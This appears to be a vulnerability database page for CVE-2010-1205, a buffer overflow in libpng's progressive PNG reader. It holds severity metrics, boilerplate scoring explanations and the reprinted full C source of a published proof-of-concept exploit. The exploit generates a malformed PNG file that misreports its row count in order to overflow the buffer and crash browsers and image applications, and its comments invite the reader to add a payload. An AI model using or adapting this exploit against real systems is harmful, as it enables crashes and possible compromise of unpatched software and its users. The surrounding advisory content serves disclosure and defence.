CVE-2010-1205 Detail

CVE-2010-1205

Score / Severity

9.8

Critical

CVE Descriptions

Buffer overflow in pngpread.c in libpng before 1.2.44 and 1.4.x before 1.4.3, as used in progressive applications, might allow remote attackers to execute arbitrary code via a PNG image that triggers an additional data row.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	9.8	CRITICAL	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	[email protected]
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 14422

Publication date : 2010-07-19 22h00 +00:00
Author : kripthor
EDB Verified : Yes

/* Exploit Title: libpng <= 1.4.2 DoS Date: July 20, 2010 Author: kripthor Software Link: http://www.libpng.org/pub/png/libpng.html Version: all products that use libpng <= 1.4.2 Tested on: Windows XP Pro SP3 Eng / Ubuntu 10 CVE : CVE-2010-1205 Notes: This crashes Firefox <= 3.6.6 and Thunderbird <= 3.0.4 inkscape, png2html, etc... ALL products that use libpng <= 1.4.2 maybe vulnerable. References: libpng.org RFC-2083 RFC 1950 RFC 1951 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <assert.h> #include <unistd.h> #define BASE 65521L /* largest prime smaller than 65536 */ /* Update a running Adler-32 checksum with the bytes buf[0..len-1] and return the updated checksum. The Adler-32 checksum should be initialized to 1. Usage example: unsigned long adler = 1L; while (read_buffer(buffer, length) != EOF) { adler = update_adler32(adler, buffer, length); } if (adler != original_adler) error(); */ unsigned long update_adler32(unsigned long adler, unsigned char *buf, int len) { unsigned long s1 = adler & 0xffff; unsigned long s2 = (adler >> 16) & 0xffff; int n; for (n = 0; n < len; n++) { s1 = (s1 + buf[n]) % BASE; s2 = (s2 + s1) % BASE; } return (s2 << 16) + s1; } /* Return the adler32 of the bytes buf[0..len-1] */ unsigned long adler32(unsigned char *buf, int len) { return update_adler32(1L, buf, len); } /* CRC based on implementation by Finn Yannick Jacobs */ /* crc_tab[] -- this crcTable is being build by chksum_crc32GenTab(). * so make sure, you call it before using the other * functions! */ u_int32_t crc_tab[256]; /* chksum_crc() -- to a given block, this one calculates the * crc32-checksum until the length is * reached. the crc32-checksum will be * the result. */ unsigned int chksum_crc32 (char *block, unsigned int length) { register unsigned long crc; unsigned long i; crc = 0xFFFFFFFF; for (i = 0; i < length; i++) { crc = ((crc >> 8) & 0x00FFFFFF) ^ crc_tab[(crc ^ *block++) & 0xFF]; } return (crc ^ 0xFFFFFFFF); } /* chksum_crc32gentab() -- to a global crc_tab[256], this one will * calculate the crcTable for crc32-checksums. * it is generated to the polynom [..] */ void chksum_crc32gentab () { unsigned long crc, poly; int i, j; poly = 0xEDB88320L; for (i = 0; i < 256; i++) { crc = i; for (j = 8; j > 0; j--) { if (crc & 1) { crc = (crc >> 1) ^ poly; } else { crc >>= 1; } } crc_tab[i] = crc; } } int main(void) { chksum_crc32gentab(); // VALID PNG FILE BEGINS //PNG FILE SIGNATURE char PNG_SIGN[] = "\x89\x50\x4e\x47\x0d\x0a\x1a\x0a"; // IHDR CHUNCK size char PNG_IHDR_SIZE[] = "\x00\x00\x00\x0d"; // IHDR CHUNCK IHDR string id char PNG_IHDR[] = "IHDR"; // IMAGE WIDTH 4 bytes char PNG_IHDR_WIDTH[] = "\x00\x00\x00\x10"; // IMAGE HEIGTH 4 bytes char PNG_IHDR_HEIGHT[] = "\x00\x00\x00\x02"; // IMAGE ATTRS 5 bytes: bit depth, color type, compression, filter and interlace method char PNG_IHDR_ATTRS[] = "\x08\x06\x00\x00\x00"; // CRC32 excluding size! //char PNG_IHDR_CRC32[] = "\x51\xed\x5c\xf1"; // OTHER FIELDS sRGB, pHYs, tIME char PNG_OTHER_FIELDS[] ="\x00\x00\x00\x01\x73\x52\x47\x42\x00\xae\xce\x1c\xe9\x00\x00\x00\x09\x70\x48\x59\x73\x00\x00\x0b\x13\x00\x00\x0b\x13\x01\x00\x9a\x9c\x18\x00\x00\x00\x07\x74\x49\x4d\x45\x07\xda\x07\x0c\x14\x1c\x38\x52\xdd\x18\x2e"; // IDAT CHUNCK SIZE char PNG_IDAT_SIZE[] = "\x00\x00\x00\x8d"; // IDAT CHUNCK IDAT string id char PNG_IDAT[] = "IDAT"; // data in zlib format! char PNG_IDAT_DATA_ZLIB_HEADER[] = "\x08\x1d\x01\x82\x00\x7d\xff"; // zlib content, size in RGBa with no compression = height*width*4; //char PNG_IDAT_DATA_ZLIB_CONTENT[] = "\x01\xff\x00\x00\xff\x01\xff\x30\x00\x00\x01\xcf\x00\x2b\x2a\x2b\x00\x11\x12\x11\x00\x10\x10\x11\x00\x11\x11\x11\x00\x11\x11\x11\x00\x11\x11\x12\x00\x11\x11\x10\x00\x11\x11\x10\x00\x11\x11\x12\x00\x10\x11\x11\x00\x11\x11\x11\x00\x12\x11\x10\x00\x10\x10\x11\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00\xff\xff\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x01\x00\xff\x00\x00\x00\x01\x00\xff\x00\x01\x00\x00\x00\xff\xff\x01\x00\x01\x01\x00\x00"; // adler32 of zlib_content //char PNG_IDAT_DATA_ZLIB_ADLER32[] = "\xb1\xa6\x0d\xe5"; // CRC32 excluding size! //char PNG_IDAT_CRC32[] = "\x88\x3b\xb3\xfe"; // IEND CHUNCK char PNG_IEND_CHUNCK[] = "\x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82"; // VALID PNG FILE ENDS //----------------------------------------------------------------------------------- //--------------------------------- // TRIGGER OVERFLOW. // WE ARE GOING TO CREATE A PNG WITH 2 ROWS AND MARK IT AS HAVING 1 ROW // OUR BUFFER CAN BE width*height*4+height in size // CHOOSE A WIDTH (crashes occur around 512 width) int WIDTH = 700; unsigned int w = htonl(WIDTH); memcpy(PNG_IHDR_WIDTH,&w,4); int HEIGHT = 2; // TRIGGER OVERFLOW REPORT HEIGHT-1 IN THE HEADER unsigned int h = htonl(HEIGHT-1); memcpy(PNG_IHDR_HEIGHT,&h,4); // USE THIS BUFFER FOR YOUR PWNSAUCE ? int idat_zlib_data_size = WIDTH*HEIGHT*4+HEIGHT; unsigned char *buf = malloc(idat_zlib_data_size); memset(buf,0x41,idat_zlib_data_size); // USE THIS BUFFER FOR YOUR PWNSAUCE ? // FIX ZLIB HEADERS IN THE IDAT BLOCK short int zblock_size = (short int) idat_zlib_data_size; short int zblock_size_2c = -zblock_size-1; memcpy(PNG_IDAT_DATA_ZLIB_HEADER+3,&zblock_size,2); memcpy(PNG_IDAT_DATA_ZLIB_HEADER+5,&zblock_size_2c,2); unsigned int idat_new_size = htonl(idat_zlib_data_size+11); memcpy(PNG_IDAT_SIZE,&idat_new_size,4); //--------------------------------- //----------------------------------------------------------------------------------- FILE * f; f = fopen ( "xploit.png" , "wb" ); fwrite (PNG_SIGN , 1 , sizeof(PNG_SIGN)-1 , f ); fwrite (PNG_IHDR_SIZE , 1 , sizeof(PNG_IHDR_SIZE)-1 , f ); fwrite (PNG_IHDR , 1 , sizeof(PNG_IHDR)-1 , f ); fwrite (PNG_IHDR_WIDTH , 1 , sizeof(PNG_IHDR_WIDTH)-1 , f ); fwrite (PNG_IHDR_HEIGHT , 1 , sizeof(PNG_IHDR_HEIGHT)-1 , f ); fwrite (PNG_IHDR_ATTRS , 1 , sizeof(PNG_IHDR_ATTRS)-1 , f ); //fwrite (PNG_IHDR_CRC32 , 1 , sizeof(PNG_IHDR_CRC32)-1 , f ); //CALCULATE NEW CRC int ihdr_data_size = sizeof(PNG_IHDR)-1+sizeof(PNG_IHDR_WIDTH)-1+sizeof(PNG_IHDR_HEIGHT)-1+sizeof(PNG_IHDR_ATTRS)-1; char* ihdr_data = malloc(ihdr_data_size); memcpy(ihdr_data,PNG_IHDR,sizeof(PNG_IHDR)-1); memcpy(ihdr_data+sizeof(PNG_IHDR)-1,PNG_IHDR_WIDTH,sizeof(PNG_IHDR_WIDTH)-1); memcpy(ihdr_data+sizeof(PNG_IHDR)-1+sizeof(PNG_IHDR_WIDTH)-1,PNG_IHDR_HEIGHT,sizeof(PNG_IHDR_HEIGHT)-1); memcpy(ihdr_data+sizeof(PNG_IHDR)-1+sizeof(PNG_IHDR_WIDTH)-1+sizeof(PNG_IHDR_HEIGHT)-1,PNG_IHDR_ATTRS,sizeof(PNG_IHDR_ATTRS)-1); unsigned int crc32_ihdr = htonl(chksum_crc32(ihdr_data,ihdr_data_size)); fwrite ( &crc32_ihdr, 1 , 4 , f ); fwrite (PNG_OTHER_FIELDS , 1 , sizeof(PNG_OTHER_FIELDS)-1 , f ); fwrite (PNG_IDAT_SIZE , 1 , sizeof(PNG_IDAT_SIZE)-1 , f ); fwrite (PNG_IDAT , 1 , sizeof(PNG_IDAT)-1 , f ); fwrite (PNG_IDAT_DATA_ZLIB_HEADER , 1 , sizeof(PNG_IDAT_DATA_ZLIB_HEADER)-1 , f ); fwrite (buf , 1 ,idat_zlib_data_size,f); //CALCULATE NEW ADLER-32 FOR ZLIB DATA unsigned int adler32_zlib_data = htonl(adler32(buf,idat_zlib_data_size)); fwrite ( &adler32_zlib_data, 1 , 4 , f ); //CALCULATE NEW CRC int idat_data_size = sizeof(PNG_IDAT)-1+sizeof(PNG_IDAT_DATA_ZLIB_HEADER)-1+idat_zlib_data_size+4; char* idat_data = malloc(idat_data_size); memcpy(idat_data,PNG_IDAT,sizeof(PNG_IDAT)-1); memcpy(idat_data+sizeof(PNG_IDAT)-1,PNG_IDAT_DATA_ZLIB_HEADER,sizeof(PNG_IDAT_DATA_ZLIB_HEADER)-1); memcpy(idat_data+sizeof(PNG_IDAT)-1+sizeof(PNG_IDAT_DATA_ZLIB_HEADER)-1,buf,idat_zlib_data_size); memcpy(idat_data+sizeof(PNG_IDAT)-1+sizeof(PNG_IDAT_DATA_ZLIB_HEADER)-1+idat_zlib_data_size,&adler32_zlib_data,4); unsigned int crc32_idat = htonl(chksum_crc32(idat_data,idat_data_size)); fwrite ( &crc32_idat, 1 , 4 , f ); fwrite (PNG_IEND_CHUNCK , 1 , sizeof(PNG_IEND_CHUNCK)-1 , f ); fclose (f); //OPEN XPLOIT.PNG WITH YOUR FAVORITE BROWSER/IMAGE EDIT APP/ETC return 0; }